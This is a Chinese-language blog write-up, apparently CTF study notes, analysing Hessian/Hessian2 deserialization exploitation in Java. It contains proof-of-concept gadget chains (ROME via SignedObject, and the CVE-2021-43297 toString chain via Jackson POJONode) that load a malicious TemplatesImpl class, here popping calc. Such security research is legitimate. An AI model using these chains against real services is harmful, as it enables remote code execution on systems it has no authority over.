这次写的比较粗糙,因为是写的给自己看的,就没怎么细致的讲解
hessian介绍
Hessian 是一个用于连接网络服务的二进制协议,他的com.caucho.hessian.client 和 com.caucho.hessian.server包不依赖于任何其他Resin的类(Resin是caucho公司的一个很快的Web服务器,Hessian是他的一部分),因此他能够应用于更小的客户端,比如Java Applet。其实也是因为不依赖所以也可以在任何容器比如Tomcat,Jetty中很方便的使用。
Hessian官方用户文档: https://developer.aliyun.com/article/31862
Hessian序列化和反序列化
hessian依赖有好几个,其大部分功能都是一样的,只不过在序列化和反序列化时需要使用一些方法
com.caucho.hessian
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
com.alipay.sofa.hessian
<dependency>
<groupId>com.alipay.sofa</groupId>
<artifactId>hessian</artifactId>
<version>3.3.13</version>
</dependency>
序列化和反序列化都是一样的
//Hessian序列化,返回字节码base64加密后的字符串
public static String Hessian_serialize(Object obj) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bao);
hessianOutput.writeObject(obj);
return Base64.getEncoder().encodeToString(bao.toByteArray());
}
//Hessian反序列化,将poc进行Base64解密成字节码读取进行反序列化
public static void Hessian_unserialize(String poc) throws IOException {
byte[] decode = Base64.getDecoder().decode(poc);
ByteArrayInputStream bai = new ByteArrayInputStream(decode);
HessianInput hessianInput = new HessianInput(bai);
Object o = hessianInput.readObject();
}
//hessian2的序列化
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
//hessian2的反序列化
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
分析
失败的poc及原因
hessianinput.readObject
hashmap.put
EqualsBean.hashcode
ToStringBean.toString --->getter
public static void main(String[] args) throws Exception {
//自己写的工具类,大概功能就是生成一个装填了执行calc的恶意类的templates类
Object templates = tools.getTemplates(tools.getshortclass("calc"));
//ROME链的任意getter调用
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = tools.makeMap(equalsBean,"1");
String s = Hessian_serialize(hashMap);
Hessian_unserialize(s);
}
很显然,没有计算器弹出,失败了,这是啥原因呢?
在HessianOutput.writeObject中,使用了UnsafeSerializer#introspect方法来获取对象中的字段,判断了成员变量标识符,如果是transient和static字段则不会参与序列化和反序列化流程,
我们在触发templates的getter时,需要用到几个参数
其中的_tfactory就被transient修饰,导致无法参与序列化和反序列化流程,所以就G了
那么该怎么样才能避开呢?很显然,我们可以使用二次反序列化来触发原生的序列化和反序列化
二次反序列化poc
hessianinput.readObject
hashmap.put
EqualsBean.hashcode
ToStringBean.toString
SignedObject.getObject
hashmap.readObject----->hashmap.put
EqualsBean.hashcode
ToStringBean.toString
public static void main(String[] args) throws Exception {
//自己写的工具类,大概功能就是生成一个装填了执行calc的恶意类的templates类
Object templates = tools.getTemplates(tools.getshortclass("calc"));
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap1 = tools.makeMap(equalsBean, "1"); //直接修改map中的键值对,直接put就会触发hashcode
//signObject装填
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject);
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap hashMap = tools.makeMap(equalsBean1,"1");
//序列化和反序列化
Hessian_unserialize(Hessian_serialize(hashMap));
}
成功执行
writeObject
太麻烦了,不想讲,大概就是会进行序列化类内容的检测,上面有讲,然后会通过它内部的一个map?,这样储存数据 map(hashMap.key,hashMap.key) 大概是这样?,反正就是会把hashmap里的键,拿出来创建一个新的map,键值都是这个键,hashmap的值也一样,讲的不清楚很正常,因为它调用太长了,我也不太懂
呃呃看了一眼
OK破案了,是tools.makeMap的构造导致的。
正常创建的hashmap结构如下
HashMap hashMap3 = new HashMap();
hashMap3.put(“key1”,”value1”);
使用tools.makemap创建的结构
HashMap hashMap = tools.makeMap(equalsBean1,”1”);
有两组键值对
看眼makemap的源码
看了眼,键值对是储存在hashmap的table参数中的,这里就直接通过反射赋值的方式,将键值对直接赋进了hashmap,不需要走hashmap.put去赋值,就避免了直接触发hashcode导致链子触发
不过直接用hashmap put也行,影响不大,只不过会执行而已,也可以直接在生成templates时不填恶意类字节码,最后在反射该值
readObject
从bytes中读一个tag出来
可以看见首位是77
进入switch
M对应ascii码值77,进入readType
也没干啥,又读了一个字节码,然后判断了一下,意义不大好像
进入readMap
新建了一个MapDeserializer,如果走过一遍writeObject的,就会发现有点熟悉,序列化时会从hashmap获取mapserialize
上面一系列的意义不大,到此处字节码中只剩下了HessianInput类,在writeObject中,writeObject了hashmap中的键值对,此处即可读出EqualsBean,再进入map.put函数
后面就是经典的ROME链的触发了,就懒得讲了,现在时间是04点41分,看会别的了
总结出来就是这个hessian.input只能触发hashcode?好像也能触发equals,呃呃好像·不行,不过无所谓,我比较喜欢我上一篇写的jdk自带的,虽然很抽象,但是很好用,感觉以后的比赛中也能派上用场
Hessian2的readObject
这个b依赖里,有hessian和hessian2,两个的功能差不多,上面的poc改一下序列化和反序列化函数就可以用了
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
//hessian2依赖的反序列化
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
基本上差不多啊,也是读字节码拿tag,然后进switch
72对H,进readMap
然后就又回到了上面的readMap,还是一样的调用
CVE-2021-43297 Hessian2 toString链
链1
序列化的函数
public static byte[] Hessian2_toString_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(79);
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(o);
out.flush();
return baos.toByteArray();
}
POC
//使用javassist重写了jackson
tools.overrideJackson();
//创建一个恶意templates,命令为calc
Object templates = tools.getTemplates(tools.getshortclass("calc"));
POJONode jsonNodes1 = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("1");
tools.setValue(badAttributeValueExpException,"val",jsonNodes1);
//装填至signObject中
Object signObject = tools.second_serialize(badAttributeValueExpException);
POJONode jsonNodes = new POJONode(signObject);
//进行序列化和反序列化
byte[] baos = tools.Hessian2_toString_serialize(jsonNodes);
tools.Hessian2_Deserial(baos);
链子顺序为
Hessian2.readObject
POJONode.toString
SignedObject.getObject
BadAttributeValueExpException.readObject
POJONode.toString
TemplatesImpl.getOutputProperties
开始readObject分析
取出序列化数据中的第一个byte为tag,值79,进入switch
79ascii码值对应O,进入case中,进入readInt函数
再次读取一个byte,进入switch,67取C,但是switch并没有对应的case,进入default,进入了expect函数,传入tag
执行了readObject,从中获取了POJOnode类对象
obj不为null,进入if函数,其中对obj进行了字符串拼接操作,触发了POJONode的toString方法
后面就是经典的jackson的任意getter调用,BaseJsonNode是POJONode的父类,也是走的父类的toString方法触发getter
触发SignedObject的getObject,进行二次反序列化,之前有说到templates没法参与hessian序列化和反序列化,是因为其中存在修饰符,我们可以通过用二次反序列化去调用jdk原生序列化和反序列化去触发templates的恶意类加载
链2
两个链子的区别就在于写入的字节码,这里写入的是67
public static byte[] Hessian2_toString_serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67); //改成67即可
out.setSerializerFactory(new SerializerFactory());
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(o);
out.flush();
return baos.toByteArray();
}
在readObject处取出我们写入的字节67
67对应C,进入readObjectDefinition函数
进入readString函数
继续读一个字节码为67,进入switch
因不存在进入expect,后续具体实现逻辑和链1一样
更多内容
实际上hessian还有很多玩法,例如hessian反序列化时会使用map.put,还可以通过一些操作使他能够触发equals等操作,Java真是太有意思了